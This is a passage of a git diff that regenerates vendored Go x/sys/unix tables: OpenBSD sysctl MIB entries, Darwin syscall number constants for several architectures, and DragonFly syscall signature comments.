-@@ -144,7 +147,9 @@ var sysctlMib = []mibentry{
- {"net.inet.icmp.stats", []_C_int{4, 2, 1, 7}},
- {"net.inet.icmp.tstamprepl", []_C_int{4, 2, 1, 6}},
- {"net.inet.igmp.stats", []_C_int{4, 2, 2, 1}},
-+ {"net.inet.ip.arpdown", []_C_int{4, 2, 0, 40}},
- {"net.inet.ip.arpqueued", []_C_int{4, 2, 0, 36}},
-+ {"net.inet.ip.arptimeout", []_C_int{4, 2, 0, 39}},
- {"net.inet.ip.encdebug", []_C_int{4, 2, 0, 12}},
- {"net.inet.ip.forwarding", []_C_int{4, 2, 0, 1}},
- {"net.inet.ip.ifq.congestion", []_C_int{4, 2, 0, 30, 4}},
-@@ -153,8 +158,10 @@ var sysctlMib = []mibentry{
- {"net.inet.ip.ifq.maxlen", []_C_int{4, 2, 0, 30, 2}},
- {"net.inet.ip.maxqueue", []_C_int{4, 2, 0, 11}},
- {"net.inet.ip.mforwarding", []_C_int{4, 2, 0, 31}},
-+ {"net.inet.ip.mrtmfc", []_C_int{4, 2, 0, 37}},
- {"net.inet.ip.mrtproto", []_C_int{4, 2, 0, 34}},
- {"net.inet.ip.mrtstats", []_C_int{4, 2, 0, 35}},
-+ {"net.inet.ip.mrtvif", []_C_int{4, 2, 0, 38}},
- {"net.inet.ip.mtu", []_C_int{4, 2, 0, 4}},
- {"net.inet.ip.mtudisc", []_C_int{4, 2, 0, 27}},
- {"net.inet.ip.mtudisctimeout", []_C_int{4, 2, 0, 28}},
-@@ -173,7 +180,6 @@ var sysctlMib = []mibentry{
- {"net.inet.ipip.stats", []_C_int{4, 2, 4, 2}},
- {"net.inet.mobileip.allow", []_C_int{4, 2, 55, 1}},
- {"net.inet.pfsync.stats", []_C_int{4, 2, 240, 1}},
-- {"net.inet.pim.stats", []_C_int{4, 2, 103, 1}},
- {"net.inet.tcp.ackonpush", []_C_int{4, 2, 6, 13}},
- {"net.inet.tcp.always_keepalive", []_C_int{4, 2, 6, 22}},
- {"net.inet.tcp.baddynamic", []_C_int{4, 2, 6, 6}},
-@@ -187,6 +193,7 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.reasslimit", []_C_int{4, 2, 6, 18}},
- {"net.inet.tcp.rfc1323", []_C_int{4, 2, 6, 1}},
- {"net.inet.tcp.rfc3390", []_C_int{4, 2, 6, 17}},
-+ {"net.inet.tcp.rootonly", []_C_int{4, 2, 6, 24}},
- {"net.inet.tcp.rstppslimit", []_C_int{4, 2, 6, 12}},
- {"net.inet.tcp.sack", []_C_int{4, 2, 6, 10}},
- {"net.inet.tcp.sackholelimit", []_C_int{4, 2, 6, 20}},
-@@ -194,9 +201,12 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.stats", []_C_int{4, 2, 6, 21}},
- {"net.inet.tcp.synbucketlimit", []_C_int{4, 2, 6, 16}},
- {"net.inet.tcp.syncachelimit", []_C_int{4, 2, 6, 15}},
-+ {"net.inet.tcp.synhashsize", []_C_int{4, 2, 6, 25}},
-+ {"net.inet.tcp.synuselimit", []_C_int{4, 2, 6, 23}},
- {"net.inet.udp.baddynamic", []_C_int{4, 2, 17, 2}},
- {"net.inet.udp.checksum", []_C_int{4, 2, 17, 1}},
- {"net.inet.udp.recvspace", []_C_int{4, 2, 17, 3}},
-+ {"net.inet.udp.rootonly", []_C_int{4, 2, 17, 6}},
- {"net.inet.udp.sendspace", []_C_int{4, 2, 17, 4}},
- {"net.inet.udp.stats", []_C_int{4, 2, 17, 5}},
- {"net.inet6.divert.recvspace", []_C_int{4, 24, 86, 1}},
-@@ -209,13 +219,8 @@ var sysctlMib = []mibentry{
- {"net.inet6.icmp6.nd6_delay", []_C_int{4, 24, 30, 8}},
- {"net.inet6.icmp6.nd6_maxnudhint", []_C_int{4, 24, 30, 15}},
- {"net.inet6.icmp6.nd6_mmaxtries", []_C_int{4, 24, 30, 10}},
-- {"net.inet6.icmp6.nd6_prune", []_C_int{4, 24, 30, 6}},
- {"net.inet6.icmp6.nd6_umaxtries", []_C_int{4, 24, 30, 9}},
-- {"net.inet6.icmp6.nd6_useloopback", []_C_int{4, 24, 30, 11}},
-- {"net.inet6.icmp6.nodeinfo", []_C_int{4, 24, 30, 13}},
-- {"net.inet6.icmp6.rediraccept", []_C_int{4, 24, 30, 2}},
- {"net.inet6.icmp6.redirtimeout", []_C_int{4, 24, 30, 3}},
-- {"net.inet6.ip6.accept_rtadv", []_C_int{4, 24, 17, 12}},
- {"net.inet6.ip6.auto_flowlabel", []_C_int{4, 24, 17, 17}},
- {"net.inet6.ip6.dad_count", []_C_int{4, 24, 17, 16}},
- {"net.inet6.ip6.dad_pending", []_C_int{4, 24, 17, 49}},
-@@ -228,20 +233,19 @@ var sysctlMib = []mibentry{
- {"net.inet6.ip6.maxdynroutes", []_C_int{4, 24, 17, 48}},
- {"net.inet6.ip6.maxfragpackets", []_C_int{4, 24, 17, 9}},
- {"net.inet6.ip6.maxfrags", []_C_int{4, 24, 17, 41}},
-- {"net.inet6.ip6.maxifdefrouters", []_C_int{4, 24, 17, 47}},
-- {"net.inet6.ip6.maxifprefixes", []_C_int{4, 24, 17, 46}},
- {"net.inet6.ip6.mforwarding", []_C_int{4, 24, 17, 42}},
-+ {"net.inet6.ip6.mrtmfc", []_C_int{4, 24, 17, 53}},
-+ {"net.inet6.ip6.mrtmif", []_C_int{4, 24, 17, 52}},
- {"net.inet6.ip6.mrtproto", []_C_int{4, 24, 17, 8}},
- {"net.inet6.ip6.mtudisctimeout", []_C_int{4, 24, 17, 50}},
- {"net.inet6.ip6.multicast_mtudisc", []_C_int{4, 24, 17, 44}},
- {"net.inet6.ip6.multipath", []_C_int{4, 24, 17, 43}},
- {"net.inet6.ip6.neighborgcthresh", []_C_int{4, 24, 17, 45}},
- {"net.inet6.ip6.redirect", []_C_int{4, 24, 17, 2}},
-- {"net.inet6.ip6.rr_prune", []_C_int{4, 24, 17, 22}},
-+ {"net.inet6.ip6.soiikey", []_C_int{4, 24, 17, 54}},
- {"net.inet6.ip6.sourcecheck", []_C_int{4, 24, 17, 10}},
- {"net.inet6.ip6.sourcecheck_logint", []_C_int{4, 24, 17, 11}},
- {"net.inet6.ip6.use_deprecated", []_C_int{4, 24, 17, 21}},
-- {"net.inet6.ip6.v6only", []_C_int{4, 24, 17, 24}},
- {"net.key.sadb_dump", []_C_int{4, 30, 1}},
- {"net.key.spd_dump", []_C_int{4, 30, 2}},
- {"net.mpls.ifq.congestion", []_C_int{4, 33, 3, 4}},
-@@ -256,6 +260,7 @@ var sysctlMib = []mibentry{
- {"net.pipex.enable", []_C_int{4, 35, 1}},
- {"vm.anonmin", []_C_int{2, 7}},
- {"vm.loadavg", []_C_int{2, 2}},
-+ {"vm.malloc_conf", []_C_int{2, 12}},
- {"vm.maxslp", []_C_int{2, 10}},
- {"vm.nkmempages", []_C_int{2, 6}},
- {"vm.psstrings", []_C_int{2, 3}},
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
-index 2786773b..f3361453 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
-@@ -1,5 +1,5 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/include/sys/syscall.h
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.13.sdk/usr/include/sys/syscall.h
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,darwin
-
-@@ -121,13 +121,15 @@ const (
- SYS_CSOPS = 169
- SYS_CSOPS_AUDITTOKEN = 170
- SYS_WAITID = 173
-+ SYS_KDEBUG_TYPEFILTER = 177
-+ SYS_KDEBUG_TRACE_STRING = 178
- SYS_KDEBUG_TRACE64 = 179
- SYS_KDEBUG_TRACE = 180
- SYS_SETGID = 181
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-- SYS_CHUD = 185
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -278,7 +280,6 @@ const (
- SYS_KQUEUE = 362
- SYS_KEVENT = 363
- SYS_LCHOWN = 364
-- SYS_STACK_SNAPSHOT = 365
- SYS_BSDTHREAD_REGISTER = 366
- SYS_WORKQ_OPEN = 367
- SYS_WORKQ_KERNRETURN = 368
-@@ -287,6 +288,8 @@ const (
- SYS___OLD_SEMWAIT_SIGNAL_NOCANCEL = 371
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
-+ SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -298,11 +301,8 @@ const (
- SYS___MAC_GET_FD = 388
- SYS___MAC_SET_FD = 389
- SYS___MAC_GET_PID = 390
-- SYS___MAC_GET_LCID = 391
-- SYS___MAC_GET_LCTX = 392
-- SYS___MAC_SET_LCTX = 393
-- SYS_SETLCID = 394
-- SYS_GETLCID = 395
-+ SYS_PSELECT = 394
-+ SYS_PSELECT_NOCANCEL = 395
- SYS_READ_NOCANCEL = 396
- SYS_WRITE_NOCANCEL = 397
- SYS_OPEN_NOCANCEL = 398
-@@ -351,6 +351,7 @@ const (
- SYS_GUARDED_CLOSE_NP = 442
- SYS_GUARDED_KQUEUE_NP = 443
- SYS_CHANGE_FDGUARD_NP = 444
-+ SYS_USRCTL = 445
- SYS_PROC_RLIMIT_CONTROL = 446
- SYS_CONNECTX = 447
- SYS_DISCONNECTX = 448
-@@ -367,6 +368,7 @@ const (
- SYS_COALITION_INFO = 459
- SYS_NECP_MATCH_POLICY = 460
- SYS_GETATTRLISTBULK = 461
-+ SYS_CLONEFILEAT = 462
- SYS_OPENAT = 463
- SYS_OPENAT_NOCANCEL = 464
- SYS_RENAMEAT = 465
-@@ -392,7 +394,43 @@ const (
- SYS_GUARDED_WRITE_NP = 485
- SYS_GUARDED_PWRITE_NP = 486
- SYS_GUARDED_WRITEV_NP = 487
-- SYS_RENAME_EXT = 488
-+ SYS_RENAMEATX_NP = 488
- SYS_MREMAP_ENCRYPTED = 489
-- SYS_MAXSYSCALL = 490
-+ SYS_NETAGENT_TRIGGER = 490
-+ SYS_STACK_SNAPSHOT_WITH_CONFIG = 491
-+ SYS_MICROSTACKSHOT = 492
-+ SYS_GRAB_PGO_DATA = 493
-+ SYS_PERSONA = 494
-+ SYS_WORK_INTERVAL_CTL = 499
-+ SYS_GETENTROPY = 500
-+ SYS_NECP_OPEN = 501
-+ SYS_NECP_CLIENT_ACTION = 502
-+ SYS___NEXUS_OPEN = 503
-+ SYS___NEXUS_REGISTER = 504
-+ SYS___NEXUS_DEREGISTER = 505
-+ SYS___NEXUS_CREATE = 506
-+ SYS___NEXUS_DESTROY = 507
-+ SYS___NEXUS_GET_OPT = 508
-+ SYS___NEXUS_SET_OPT = 509
-+ SYS___CHANNEL_OPEN = 510
-+ SYS___CHANNEL_GET_INFO = 511
-+ SYS___CHANNEL_SYNC = 512
-+ SYS___CHANNEL_GET_OPT = 513
-+ SYS___CHANNEL_SET_OPT = 514
-+ SYS_ULOCK_WAIT = 515
-+ SYS_ULOCK_WAKE = 516
-+ SYS_FCLONEFILEAT = 517
-+ SYS_FS_SNAPSHOT = 518
-+ SYS_TERMINATE_WITH_PAYLOAD = 520
-+ SYS_ABORT_WITH_PAYLOAD = 521
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_MAXSYSCALL = 530
-+ SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go
-index 09de240c..654dd3da 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_amd64.go
-@@ -1,5 +1,5 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.10.sdk/usr/include/sys/syscall.h
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk/usr/include/sys/syscall.h
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,darwin
-
-@@ -121,13 +121,15 @@ const (
- SYS_CSOPS = 169
- SYS_CSOPS_AUDITTOKEN = 170
- SYS_WAITID = 173
-+ SYS_KDEBUG_TYPEFILTER = 177
-+ SYS_KDEBUG_TRACE_STRING = 178
- SYS_KDEBUG_TRACE64 = 179
- SYS_KDEBUG_TRACE = 180
- SYS_SETGID = 181
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-- SYS_CHUD = 185
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -278,7 +280,6 @@ const (
- SYS_KQUEUE = 362
- SYS_KEVENT = 363
- SYS_LCHOWN = 364
-- SYS_STACK_SNAPSHOT = 365
- SYS_BSDTHREAD_REGISTER = 366
- SYS_WORKQ_OPEN = 367
- SYS_WORKQ_KERNRETURN = 368
-@@ -287,6 +288,8 @@ const (
- SYS___OLD_SEMWAIT_SIGNAL_NOCANCEL = 371
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
-+ SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -298,11 +301,8 @@ const (
- SYS___MAC_GET_FD = 388
- SYS___MAC_SET_FD = 389
- SYS___MAC_GET_PID = 390
-- SYS___MAC_GET_LCID = 391
-- SYS___MAC_GET_LCTX = 392
-- SYS___MAC_SET_LCTX = 393
-- SYS_SETLCID = 394
-- SYS_GETLCID = 395
-+ SYS_PSELECT = 394
-+ SYS_PSELECT_NOCANCEL = 395
- SYS_READ_NOCANCEL = 396
- SYS_WRITE_NOCANCEL = 397
- SYS_OPEN_NOCANCEL = 398
-@@ -351,6 +351,7 @@ const (
- SYS_GUARDED_CLOSE_NP = 442
- SYS_GUARDED_KQUEUE_NP = 443
- SYS_CHANGE_FDGUARD_NP = 444
-+ SYS_USRCTL = 445
- SYS_PROC_RLIMIT_CONTROL = 446
- SYS_CONNECTX = 447
- SYS_DISCONNECTX = 448
-@@ -367,6 +368,7 @@ const (
- SYS_COALITION_INFO = 459
- SYS_NECP_MATCH_POLICY = 460
- SYS_GETATTRLISTBULK = 461
-+ SYS_CLONEFILEAT = 462
- SYS_OPENAT = 463
- SYS_OPENAT_NOCANCEL = 464
- SYS_RENAMEAT = 465
-@@ -392,7 +394,45 @@ const (
- SYS_GUARDED_WRITE_NP = 485
- SYS_GUARDED_PWRITE_NP = 486
- SYS_GUARDED_WRITEV_NP = 487
-- SYS_RENAME_EXT = 488
-+ SYS_RENAMEATX_NP = 488
- SYS_MREMAP_ENCRYPTED = 489
-- SYS_MAXSYSCALL = 490
-+ SYS_NETAGENT_TRIGGER = 490
-+ SYS_STACK_SNAPSHOT_WITH_CONFIG = 491
-+ SYS_MICROSTACKSHOT = 492
-+ SYS_GRAB_PGO_DATA = 493
-+ SYS_PERSONA = 494
-+ SYS_WORK_INTERVAL_CTL = 499
-+ SYS_GETENTROPY = 500
-+ SYS_NECP_OPEN = 501
-+ SYS_NECP_CLIENT_ACTION = 502
-+ SYS___NEXUS_OPEN = 503
-+ SYS___NEXUS_REGISTER = 504
-+ SYS___NEXUS_DEREGISTER = 505
-+ SYS___NEXUS_CREATE = 506
-+ SYS___NEXUS_DESTROY = 507
-+ SYS___NEXUS_GET_OPT = 508
-+ SYS___NEXUS_SET_OPT = 509
-+ SYS___CHANNEL_OPEN = 510
-+ SYS___CHANNEL_GET_INFO = 511
-+ SYS___CHANNEL_SYNC = 512
-+ SYS___CHANNEL_GET_OPT = 513
-+ SYS___CHANNEL_SET_OPT = 514
-+ SYS_ULOCK_WAIT = 515
-+ SYS_ULOCK_WAKE = 516
-+ SYS_FCLONEFILEAT = 517
-+ SYS_FS_SNAPSHOT = 518
-+ SYS_TERMINATE_WITH_PAYLOAD = 520
-+ SYS_ABORT_WITH_PAYLOAD = 521
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_KQUEUE_WORKLOOP_CTL = 530
-+ SYS___MACH_BRIDGE_REMOTE_TIME = 531
-+ SYS_MAXSYSCALL = 532
-+ SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
-index 41cb6ed3..103a72ed 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
-@@ -1,4 +1,4 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS10.2.sdk/usr/include/sys/syscall.h
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS11.1.sdk/usr/include/sys/syscall.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,darwin
-@@ -129,6 +129,7 @@ const (
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -288,6 +289,7 @@ const (
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
- SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -421,6 +423,14 @@ const (
- SYS_FS_SNAPSHOT = 518
- SYS_TERMINATE_WITH_PAYLOAD = 520
- SYS_ABORT_WITH_PAYLOAD = 521
-- SYS_MAXSYSCALL = 522
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_MAXSYSCALL = 530
- SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go
-index 075816c3..7ab2130b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_darwin_arm64.go
-@@ -1,4 +1,4 @@
--// mksysnum_darwin.pl /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS10.2.sdk/usr/include/sys/syscall.h
-+// go run mksysnum.go /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS11.1.sdk/usr/include/sys/syscall.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm64,darwin
-@@ -129,6 +129,7 @@ const (
- SYS_SETEGID = 182
- SYS_SETEUID = 183
- SYS_SIGRETURN = 184
-+ SYS_THREAD_SELFCOUNTS = 186
- SYS_FDATASYNC = 187
- SYS_STAT = 188
- SYS_FSTAT = 189
-@@ -288,6 +289,7 @@ const (
- SYS_THREAD_SELFID = 372
- SYS_LEDGER = 373
- SYS_KEVENT_QOS = 374
-+ SYS_KEVENT_ID = 375
- SYS___MAC_EXECVE = 380
- SYS___MAC_SYSCALL = 381
- SYS___MAC_GET_FILE = 382
-@@ -421,6 +423,14 @@ const (
- SYS_FS_SNAPSHOT = 518
- SYS_TERMINATE_WITH_PAYLOAD = 520
- SYS_ABORT_WITH_PAYLOAD = 521
-- SYS_MAXSYSCALL = 522
-+ SYS_NECP_SESSION_OPEN = 522
-+ SYS_NECP_SESSION_ACTION = 523
-+ SYS_SETATTRLISTAT = 524
-+ SYS_NET_QOS_GUIDELINE = 525
-+ SYS_FMOUNT = 526
-+ SYS_NTP_ADJTIME = 527
-+ SYS_NTP_GETTIME = 528
-+ SYS_OS_FAULT_WITH_PAYLOAD = 529
-+ SYS_MAXSYSCALL = 530
- SYS_INVALID = 63
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go
-index b2c9ef81..464c9a98 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_dragonfly_amd64.go
-@@ -1,4 +1,4 @@
--// mksysnum_dragonfly.pl
-+// go run mksysnum.go https://gitweb.dragonflybsd.org/dragonfly.git/blob_plain/HEAD:/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,dragonfly
-@@ -13,7 +13,7 @@ const (
- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, \
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); } wait4 wait_args int
- SYS_LINK = 9 // { int link(char *path, char *link); }
- SYS_UNLINK = 10 // { int unlink(char *path); }
- SYS_CHDIR = 12 // { int chdir(char *path); }
-@@ -22,17 +22,17 @@ const (
- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
- SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-- SYS_GETFSSTAT = 18 // { int getfsstat(struct statfs *buf, long bufsize, \
-+ SYS_GETFSSTAT = 18 // { int getfsstat(struct statfs *buf, long bufsize, int flags); }
- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, \
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
- SYS_SETUID = 23 // { int setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t getuid(void); }
- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, \
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
- SYS_SENDMSG = 28 // { int sendmsg(int s, caddr_t msg, int flags); }
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, \
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, caddr_t from, int *fromlenaddr); }
- SYS_ACCEPT = 30 // { int accept(int s, caddr_t name, int *anamelen); }
- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, caddr_t asa, int *alen); }
- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, caddr_t asa, int *alen); }
-@@ -45,8 +45,8 @@ const (
- SYS_DUP = 41 // { int dup(int fd); }
- SYS_PIPE = 42 // { int pipe(void); }
- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, \
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
- SYS_GETGID = 47 // { gid_t getgid(void); }
- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-@@ -67,32 +67,32 @@ const (
- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
- SYS_MPROTECT = 74 // { int mprotect(void *addr, size_t len, int prot); }
- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
- SYS_GETPGRP = 81 // { int getpgrp(void); }
- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, \
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
- SYS_SWAPON = 85 // { int swapon(char *name); }
- SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
- SYS_DUP2 = 90 // { int dup2(int from, int to); }
- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
- SYS_FSYNC = 95 // { int fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
- SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
- SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
- SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-@@ -100,15 +100,15 @@ const (
- SYS_RENAME = 128 // { int rename(char *from, char *to); }
- SYS_FLOCK = 131 // { int flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, \
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
- SYS_RMDIR = 137 // { int rmdir(char *path); }
- SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
- SYS_STATFS = 157 // { int statfs(char *path, struct statfs *buf); }
- SYS_FSTATFS = 158 // { int fstatfs(int fd, struct statfs *buf); }
